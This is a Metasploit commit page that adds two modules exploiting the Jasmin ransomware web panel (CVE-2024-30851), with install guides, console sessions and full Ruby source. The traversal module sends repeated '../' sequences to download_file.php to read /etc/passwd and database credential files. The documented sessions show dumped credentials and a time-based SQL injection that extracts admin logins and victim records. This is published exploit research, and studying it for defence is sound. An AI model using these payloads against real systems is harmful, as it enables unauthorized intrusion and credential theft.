Skip to content

Commit f274c46

Browse files
cdelafuente-r7cdelafuente-r7
committed
Land rapid7#19103, jasmin ransomware sqli and dir travers (CVE-2024-30851)
2 parents d37a825 + 0b5eaef commit f274c46

File tree

4 files changed

+441
-0
lines changed

4 files changed

+441
-0
lines changed

‎documentation/modules/auxiliary/gather/jasmin_ransomware_dir_traversal.md

Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
## Vulnerable Application
2+
3+
The Jasmin Ransomware web server contains an unauthenticated directory traversal vulnerability
4+
within the download functionality. As of April 15, 2024 this was still unpatched, so all
5+
versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched.
6+
7+
### Install
8+
9+
create a LAMP server (using php 8.2 worked for me, 7.2 did not).
10+
Run the following commands:
11+
12+
```
13+
git clone https://github.com/codesiddhant/Jasmin-Ransomware.git
14+
cd Jasmin-Ransomware
15+
sudo cp -r Web\ Panel/* /var/www/html/
16+
sudo chown www-data:www-data /var/www/html/*
17+
sudo mysql -p
18+
```
19+
20+
Execute the following SQL commands:
21+
22+
```
23+
CREATE DATABASE jasmin_db;
24+
CREATE USER 'jasminadmin'@'localhost' IDENTIFIED BY '123456';
25+
GRANT ALL PRIVILEGES ON jasmin_db.* TO 'jasminadmin'@'localhost';
26+
Exit
27+
```
28+
29+
Now setup the database:
30+
`sudo mysql -u jasminadmin -p123456 jasmin_db < Web\ Panel/database/jasmin_db.sql`
31+
32+
## Verification Steps
33+
34+
1. Install the application
35+
1. Start msfconsole
36+
1. Do: `use auxiliary/gather/jasmin_ransomware_dir_traversal`
37+
1. Do: `set rhosts [ip]`
38+
1. Do: `run`
39+
1. You should get the content of a file if it exists.
40+
41+
## Options
42+
43+
### FILE
44+
45+
File to retrieve. `etc/passwd` is the default, but
46+
`var/www/html/database/db_conection.php` contains the
47+
database credentials.
48+
49+
## Scenarios
50+
51+
### Jasmin installed on Ubuntu 22.04
52+
53+
```
54+
msf6 > use auxiliary/gather/jasmin_ransomware_dir_traversal
55+
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set rhosts 127.0.0.1
56+
rhosts => 127.0.0.1
57+
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set verbose true
58+
verbose => true
59+
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit
60+
[*] Reloading module...
61+
62+
[+] root:x:0:0:root:/root:/bin/bash
63+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
64+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
65+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
66+
sync:x:4:65534:sync:/bin:/bin/sync
67+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
68+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
69+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
70+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
71+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
72+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
73+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
74+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
75+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
76+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
77+
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
78+
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
79+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
80+
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
81+
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
82+
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
83+
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
84+
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
85+
pollinate:x:105:1::/var/cache/pollinate:/bin/false
86+
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
87+
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
88+
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
89+
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
90+
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
91+
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
92+
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
93+
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
94+
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
95+
arangodb:x:998:999:ArangoDB Application User:/usr/share/arangodb3:/bin/false
96+
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
97+
postgres:x:115:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
98+
dovecot:x:116:122:Dovecot mail server,,,:/usr/lib/dovecot:/usr/sbin/nologin
99+
dovenull:x:117:123:Dovecot login user,,,:/nonexistent:/usr/sbin/nologin
100+
rtkit:x:118:124:RealtimeKit,,,:/proc:/usr/sbin/nologin
101+
kernoops:x:119:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
102+
cups-pk-helper:x:120:125:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
103+
systemd-oom:x:121:128:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
104+
whoopsie:x:122:129::/nonexistent:/bin/false
105+
geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin
106+
avahi-autoipd:x:124:131:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
107+
avahi:x:125:132:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
108+
nm-openvpn:x:126:133:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
109+
saned:x:127:135::/var/lib/saned:/usr/sbin/nologin
110+
colord:x:129:136:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
111+
sssd:x:130:137:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
112+
pulse:x:131:138:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
113+
speech-dispatcher:x:132:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
114+
gnome-initial-setup:x:133:65534::/run/gnome-initial-setup/:/bin/false
115+
gdm:x:134:140:Gnome Display Manager:/var/lib/gdm3:/bin/false
116+
mysql:x:136:143:MySQL Server,,,:/nonexistent:/bin/false
117+
118+
[+] Saved file to: /root/.msf4/loot/20240415125844_default_127.0.0.1_jasmin.webpanel._670418.txt
119+
[*] Scanned 1 of 1 hosts (100% complete)
120+
[*] Auxiliary module execution completed
121+
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set FILE var/www/html/data
122+
base/db_conection.php
123+
FILE => var/www/html/database/db_conection.php
124+
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit
125+
[*] Reloading module...
126+
127+
[+] <?php
128+
$dbcon=mysqli_connect("localhost","jasminadmin","123456");
129+
130+
mysqli_select_db($dbcon,"jasmin_db");
131+
132+
?>
133+
134+
[+] Saved file to: /root/.msf4/loot/20240415125905_default_127.0.0.1_jasmin.webpanel._177654.txt
135+
[*] Scanned 1 of 1 hosts (100% complete)
136+
[*] Auxiliary module execution completed
137+
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) >
138+
```
139+

‎documentation/modules/auxiliary/gather/jasmin_ransomware_sqli.md

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
## Vulnerable Application
2+
3+
The Jasmin Ransomware web server contains an unauthenticated SQL injection vulnerability
4+
within the login functionality. As of April 15, 2024 this was still unpatched, so all
5+
versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched.
6+
7+
Retrieving the victim's data may take a long amount of time. It is much quicker to
8+
get the logins, then just login to the site.
9+
10+
### Install
11+
12+
create a LAMP server (using php 8.2 worked for me, 7.2 did not).
13+
Run the following commands:
14+
15+
```
16+
git clone https://github.com/codesiddhant/Jasmin-Ransomware.git
17+
cd Jasmin-Ransomware
18+
sudo cp -r Web\ Panel/* /var/www/html/
19+
sudo chown www-data:www-data /var/www/html/*
20+
sudo mysql -p
21+
```
22+
23+
Execute the following SQL commands:
24+
25+
```
26+
CREATE DATABASE jasmin_db;
27+
CREATE USER 'jasminadmin'@'localhost' IDENTIFIED BY '123456';
28+
GRANT ALL PRIVILEGES ON jasmin_db.* TO 'jasminadmin'@'localhost';
29+
Exit
30+
```
31+
32+
Now setup the database:
33+
`sudo mysql -u jasminadmin -p123456 jasmin_db < Web\ Panel/database/jasmin_db.sql`
34+
35+
## Verification Steps
36+
37+
1. Install the application
38+
1. Start msfconsole
39+
1. Do: `use auxiliary/gather/jasmin_ransomware_sqli`
40+
1. Do: `set rhosts [IP]`
41+
1. Do: `run`
42+
1. You should contents from the SQL Database.
43+
44+
## Options
45+
46+
### VICTIMS
47+
48+
Pull data from the Victim's table. Defaults to `false`
49+
50+
### VICTIMLIMIT
51+
52+
Number of rows from the victim table to pull. Defaults to `nil` which pulls all rows.
53+
54+
## Scenarios
55+
56+
### Jasmin installed on Ubuntu 22.04
57+
58+
```
59+
msf6 > use auxiliary/gather/jasmin_ransomware_sqli
60+
msf6 auxiliary(gather/jasmin_ransomware_sqli) > set verbose true
61+
verbose => true
62+
msf6 auxiliary(gather/jasmin_ransomware_sqli) > set rhosts 127.0.0.1
63+
rhosts => 127.0.0.1
64+
msf6 auxiliary(gather/jasmin_ransomware_sqli) > set victims true
65+
victims => true
66+
msf6 auxiliary(gather/jasmin_ransomware_sqli) > run
67+
68+
[*] Dumping login table
69+
[*] {SQLi} Executing (select group_concat(cast(concat_ws(';',ifnull(admin,''),ifnull(creds,'')) as binary)) from master)
70+
[*] {SQLi} Time-based injection: expecting output of length 15
71+
[+] Dumped table contents:
72+
Logins
73+
======
74+
75+
admin creds
76+
----- -----
77+
siddhant 123456
78+
79+
[*] Dumping victim table
80+
[*] {SQLi} Executing (select group_concat(cast(concat_ws(';',ifnull(machine_name,''),ifnull(computer_user,''),ifnull(ip,''),ifnull(systemid,''),ifnull(password,'')) as binary)) from victims)
81+
[*] {SQLi} Time-based injection: expecting output of length 428
82+
[+] Dumped table contents:
83+
Victims
84+
=======
85+
86+
machine_name computer_user ip systemid password
87+
------------ ------------- -- -------- --------
88+
Bollywood Salman Khan 47.247.223.177 df545f454f5d4f5d4af5 M9M99EvNpZVOWpy9Q8sZLHEP
89+
DESKTOP-37Q74QH cyberstair 47.247.223.177 96457DF79A87C7C0008A7BE7 xAS4NinH/HQKNJwsNtTWN5yD
90+
FiFa Leone Messi 47.247.223.177 cfhsfkdjkfvdd454s5g4 JDNAaz6e3oyM8cN+AGFdMl/5
91+
Indian Cricket Virat Kohli 47.247.223.177 SDGFs4F4S4FD4F4545fs 3tIHrYJqqTSBpw4lgMMck1GD
92+
White House Donald Trump 47.247.223.177 fgighefesdgvrd5g45rd4h RJtCd9QqiCfBaSU0zQf84dvd
93+
94+
[*] Scanned 1 of 1 hosts (100% complete)
95+
[*] Auxiliary module execution completed
96+
```
97+

‎modules/auxiliary/gather/jasmin_ransomware_dir_traversal.rb

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Report
8+
include Msf::Exploit::Remote::HttpClient
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Jasmin Ransomware Web Server Unauthenticated Directory Traversal',
16+
'Description' => %q{
17+
The Jasmin Ransomware web server contains an unauthenticated directory traversal vulnerability
18+
within the download functionality. As of April 15, 2024 this was still unpatched, so all
19+
versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched.
20+
},
21+
'References' => [
22+
['CVE', '2024-30851'],
23+
['URL', 'https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc'],
24+
['URL', 'https://github.com/codesiddhant/Jasmin-Ransomware']
25+
],
26+
'Author' => [
27+
'chebuya', # discovery, PoC
28+
'h00die', # metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'DisclosureDate' => '2023-04-08',
32+
'Notes' => {
33+
'Stability' => [CRASH_SAFE],
34+
'Reliability' => [],
35+
'SideEffects' => []
36+
}
37+
)
38+
)
39+
40+
register_options(
41+
[
42+
OptString.new('TARGETURI', [true, 'The relative URI of the Jasmin Ransomware webserver', '/']),
43+
OptInt.new('DEPTH', [true, 'Depth of directory traversal to root ', 9]),
44+
OptString.new('FILE', [true, 'File to retrieve', 'etc/passwd'])
45+
# /var/www/html/database/db_conection.php another good file to pull
46+
]
47+
)
48+
end
49+
50+
def check
51+
res = send_request_cgi(
52+
'uri' => normalize_uri(target_uri.path)
53+
)
54+
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
55+
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
56+
57+
return Exploit::CheckCode::Detected('Jasmin Login page detected') if res.body.include? '<title>Jasmin Dashboard</title>'
58+
59+
Exploit::CheckCode::Safe("#{peer} - Jasmin login page not found")
60+
end
61+
62+
def run
63+
res = send_request_cgi(
64+
'uri' => normalize_uri(target_uri.path, 'download_file.php'),
65+
'vars_get' => {
66+
'file' => "#{'../' * datastore['DEPTH']}#{datastore['FILE']}"
67+
}
68+
)
69+
fail_with(Failure::Unknown, 'No response from server') if res.nil?
70+
fail_with(Failure::NotFound, 'Check FILE or DEPTH, file not found on server') if res.body.empty?
71+
fail_with(Failure::UnexpectedReply, "Server returned an unexpected HTTP code: #{res.code}") unless res.code == 302
72+
73+
print_good(res.body)
74+
# store loot
75+
path = store_loot(
76+
'jasmin.webpanel.dir.traversal',
77+
'text/plain',
78+
datastore['rhost'],
79+
res.body,
80+
File.basename(datastore['FILE'])
81+
)
82+
print_good('Saved file to: ' + path)
83+
end
84+
end

0 commit comments

Comments
 (0)